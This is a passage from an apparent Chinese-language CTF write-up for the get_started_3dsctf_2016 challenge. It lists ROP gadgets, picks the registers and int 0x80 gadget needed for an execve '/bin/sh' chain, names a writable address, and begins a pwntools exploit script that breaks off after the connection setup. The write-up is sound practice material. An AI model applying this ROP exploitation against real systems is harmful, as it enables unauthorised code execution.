0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080b91e6 : pop eax ; ret 0x0804c56d : pop eax ; ret 0x80e 0x080d9ff8 : pop eax ; ret 0xfff7 0x080dfcd8 : pop eax ; ret 0xfff9 0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
再找pop ebx
1 2 3 4 5 6 7 8 9 10 11 12
0x080481ad : pop ebx ; ret 0x080d413c : pop ebx ; ret 0x6f9 0x08099f96 : pop ebx ; ret 8 0x0806fc31 : pop ecx ; pop ebx ; ret 0x08063adb : pop edi ; pop esi ; pop ebx ; ret 0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret 0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0807b1b0 : pop es ; pop ebx ; ret 0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret 0x0805d090 : pop esi ; pop ebx ; ret 0x0805b8a0 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0809efe2 : pop ss ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
找可写地址,借一下别人的图
/sh/x00需要写在它的后四位。即”0x080eb020+4“,最后需要填入int 0x80:
1
0x0806d7e5 : int 0x80
最后exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from pwn import *
local = 1 if local == 1: io = process('./get_started_3dsctf_2016') else: io = remote('node4.buuoj.cn',29252)